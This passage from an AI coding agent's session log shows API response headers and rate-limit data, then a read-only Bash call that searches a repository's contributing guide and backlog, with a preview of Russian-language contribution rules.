200,\n[2026-09-29T07:43:47.071Z] [STDOUT]   headers: {\n[2026-09-29T07:43:47.075Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:47.079Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:47.084Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:47.087Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:47.091Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:47.093Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.097Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:47.100Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:47.103Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:47.108Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:47.112Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:47.116Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:47.121Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:47.128Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.133Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:47.138Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:47.143Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:47.148Z] [STDOUT]     \"cf-ray\": \"a4295bd8bc1b4d8b-FRA\",\n[2026-09-29T07:43:47.154Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:47.158Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:47.162Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:47.164Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:47.167Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:47 GMT\",\n[2026-09-29T07:43:47.171Z] [STDOUT]     \"request-id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:47.174Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:47.178Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:47.181Z] [STDOUT]     traceresponse: \"00-b6d0d3469c532620a6750f253089bced-e79ae217c901972c-01\",\n[2026-09-29T07:43:47.186Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:47.189Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:47.193Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:47.196Z] [STDOUT]   },\n[2026-09-29T07:43:47.199Z] [STDOUT]   durationMs: 1029,\n[2026-09-29T07:43:47.202Z] [STDOUT] }\n[2026-09-29T07:43:47.205Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:47.207Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:47 GMT\",\n[2026-09-29T07:43:47.209Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:47.211Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:47.214Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:47.217Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:47.223Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:47.226Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:47.231Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:47.233Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:47.235Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:47.240Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:47.242Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:47.248Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:47.252Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:47.255Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:47.258Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:47.260Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.262Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:47.265Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:47.268Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:47.272Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:47.275Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.278Z] [STDOUT]   \"request-id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:47.281Z] [STDOUT]   \"traceresponse\": \"00-b6d0d3469c532620a6750f253089bced-e79ae217c901972c-01\",\n[2026-09-29T07:43:47.285Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:47.289Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:47.292Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:47.296Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:47.298Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:47.300Z] [STDOUT]   \"cf-ray\": \"a4295bd8bc1b4d8b-FRA\",\n[2026-09-29T07:43:47.303Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:47.307Z] [STDOUT] [log_f9d5da] response parsed {\n[2026-09-29T07:43:47.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:47.312Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:47.315Z] [STDOUT]   body: X {\n[2026-09-29T07:43:47.318Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:47.321Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:47.326Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:47.329Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:47.333Z] [STDOUT]     },\n[2026-09-29T07:43:47.339Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:47.344Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:47.347Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:47.350Z] [STDOUT]   },\n[2026-09-29T07:43:47.352Z] [STDOUT]   durationMs: 1031,\n[2026-09-29T07:43:47.354Z] [STDOUT] }\n[2026-09-29T07:43:47.546Z] [INFO] {\n[2026-09-29T07:43:47.546Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:43:47.546Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:47.546Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"uuid\": \"3ec54c0a-c5d8-4249-8ca7-0c51607540f3\"\n[2026-09-29T07:43:47.546Z] [INFO] }\n[2026-09-29T07:43:48.700Z] [INFO] {\n[2026-09-29T07:43:48.700Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"estimated_tokens\": 241,\n[2026-09-29T07:43:48.700Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:48.700Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"uuid\": \"30575a1c-7406-412c-a103-eb038c017816\"\n[2026-09-29T07:43:48.700Z] [INFO] }\n[2026-09-29T07:43:48.705Z] [INFO] {\n[2026-09-29T07:43:48.705Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"message\": {\n[2026-09-29T07:43:48.705Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"id\": \"msg_011CfXMdVAV7ofkKrynAv1hQ\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"content\": [\n[2026-09-29T07:43:48.705Z] [INFO]       {\n[2026-09-29T07:43:48.705Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:43:48.705Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:43:48.705Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:43:48.705Z] [INFO]     ],\n[2026-09-29T07:43:48.705Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:48.705Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_creation_input_tokens\": 7092,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_read_input_tokens\": 21963,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:48.705Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:48.705Z] [INFO]         \"ephemeral_1h_input_tokens\": 7092\n[2026-09-29T07:43:48.705Z] [INFO]       },\n[2026-09-29T07:43:48.705Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:48.705Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:48.705Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:48.705Z] [INFO]     },\n[2026-09-29T07:43:48.705Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:48.705Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:48.705Z] [INFO]   },\n[2026-09-29T07:43:48.705Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:48.705Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"uuid\": \"478352ba-d950-4c78-aa9d-22c86965ff12\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:48.698Z\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"request_id\": \"req_011CfXMdUgTLDxX71cerjtAr\"\n[2026-09-29T07:43:48.705Z] [INFO] }\n[2026-09-29T07:43:49.786Z] [INFO] {\n[2026-09-29T07:43:49.786Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"message\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"id\": \"msg_011CfXMdVAV7ofkKrynAv1hQ\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"content\": [\n[2026-09-29T07:43:49.786Z] [INFO]       {\n[2026-09-29T07:43:49.786Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"id\": \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"input\": {\n[2026-09-29T07:43:49.786Z] [INFO]           \"command\": \"sed -n 60,200p CONTRIBUTING.md; grep -n -i \\\"\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\\\\|presentation\\\\|646\\\\|mango\\\" ops/backlog.md | head -40; find . -iname \\\"*present*\\\" -o -iname \\\"*pitch*\\\" -o -iname \\\"*slide*\\\" | grep -v .git/ | head\",\n[2026-09-29T07:43:49.786Z] [INFO]           \"description\": \"Read contributing rest, backlog matches\"\n[2026-09-29T07:43:49.786Z] [INFO]         },\n[2026-09-29T07:43:49.786Z] [INFO]         \"caller\": {\n[2026-09-29T07:43:49.786Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:43:49.786Z] [INFO]         }\n[2026-09-29T07:43:49.786Z] [INFO]       }\n[2026-09-29T07:43:49.786Z] [INFO]     ],\n[2026-09-29T07:43:49.786Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_creation_input_tokens\": 7092,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_read_input_tokens\": 21963,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:49.786Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:49.786Z] [INFO]         \"ephemeral_1h_input_tokens\": 7092\n[2026-09-29T07:43:49.786Z] [INFO]       },\n[2026-09-29T07:43:49.786Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:49.786Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:49.786Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:49.786Z] [INFO]     },\n[2026-09-29T07:43:49.786Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:49.786Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:49.786Z] [INFO]   },\n[2026-09-29T07:43:49.786Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:49.786Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"uuid\": \"1cc28cac-ebff-4aa8-a262-cfe7dcf54322\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:49.774Z\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"request_id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920 && sed -n 60,200p CONTRIBUTING.md; grep -n -i \\\"\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\\\\|presentation\\\\|646\\\\|mango\\\" ops/backlog.md | head -40; find . -iname \\\"*present*\\\" -o -iname \\\"*pitch*\\\" -o -iname \\\"*slide*\\\" | grep -v .git/ | head\",\n[2026-09-29T07:43:49.786Z] [INFO]       \"description\": \"Read contributing rest, backlog matches\"\n[2026-09-29T07:43:49.786Z] [INFO]     }\n[2026-09-29T07:43:49.786Z] [INFO]   },\n[2026-09-29T07:43:49.786Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T07:43:49.786Z] [INFO]     }\n[2026-09-29T07:43:49.786Z] [INFO]   }\n[2026-09-29T07:43:49.786Z] [INFO] }\n[2026-09-29T07:43:50.982Z] [INFO] {\n[2026-09-29T07:43:50.982Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"message\": {\n[2026-09-29T07:43:50.982Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"content\": [\n[2026-09-29T07:43:50.982Z] [INFO]       {\n[2026-09-29T07:43:50.982Z] [INFO]         \"tool_use_id\": \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"content\": \"\\nOutput too large (52.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bl97cs6yp.txt\\n\\nPreview (first 2KB):\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 guidance.\\n\\n\u041c\u0435\u0442\u043a\u0430 `no-diff-expected` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f PR,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u0438\u0444\u0444 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 retarget).\\n\u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0435\u0451 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e; \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444.\\n\\nHistorical migration material \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a source context \u0447\u0435\u0440\u0435\u0437\\naudit, PR history \u0438\u043b\u0438 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 `source` path. \u041d\u043e\u0432\u044b\u0439 active artifact \u0434\u043e\u043b\u0436\u0435\u043d\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u043e \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c.\\n\\n### \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\\n\\n\u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430 \u0441\u0435\u0441\u0441\u0438\u0438, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 [`ops/backlog.md`](ops/backlog.md), \u0441\u0435\u043a\u0446\u0438\u044f\\n\u00ab\u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\u00bb. \u0415\u0441\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 BACKLOG \u2014 \u043d\u0435 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c\\n\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b\u00bb.\\n\\n### \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\\n\\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0432\u043e\u0434 \u043f\u0440\u0430\u0432\u0438\u043b \u2014 \u0432\\n[research/external-knowledge/README.md](research/external-knowledge/README.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\u00bb. \u041a\u0440\u0430\u0442\u043a\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430:\\n\\n- **\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435.** \u041c\u0435\u0442\u043a\u0430 `research`/\u00ab\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u00bb \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 = \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043f\u043e\u0438\u0441\u043a;\\n  \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 URL = \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- **\u0424\u0438\u043a\u0441\u0430\u0446\u0438\u044f.** \u0424\u0430\u043a\u0442 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u2192 \u0432\\n  [\u0440\u0435\u0435\u0441\u0442\u0440](research/external-knowledge/external-sources-registry.md) **\u0412\u0421\u0415\u0413\u0414\u0410**.\\n  \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u2192 \u0438\u043d\u0441\u0430\u0439\u0442 \u0432\\n  [external-insights/](research/external-knowledge/external-insights/). \u0415\u0441\u043b\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0430\u0437\u044b, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0434\u0435\u0438 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0444\u0430\u0437 \u0438\u043b\u0438\\n  \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u043c, \u043e\u043d \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0433\u0430\u043c\u0438 `future-phase: X`, `topic: Y` (\u043f\u0440\u0438\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `use-case: Z`) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0411\u0417 \u043a\u0430\u043a \u0437\u0430\u0434\u0435\u043b \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435.\\n  \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.\\n- **\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435.** \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0445\u0430\u0439\u043f\u0430 \u0438\u043b\u0438 \u0432\u043e\u0434\u044b (\u043d\u0435\u0442 \u043a\u043e\u0434\u0430 \u0434\u043b\u044f\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f) \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u044e\u0442\u0441\u044f\\n  \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e: \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `rejected` \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439\\n  \u00ab\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e\u00bb, \u0431\u0435\u0437 \u0438\u043d\u0441\u0430\u0439\u0442\u0430.\\n...\\n\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:50.982Z] [INFO]       }\n[2026-09-29T07:43:50.982Z] [INFO]     ]\n[2026-09-29T07:43:50.982Z] [INFO]   },\n[2026-09-29T07:43:50.982Z] [INFO]   \"parent_tool_use_id\": 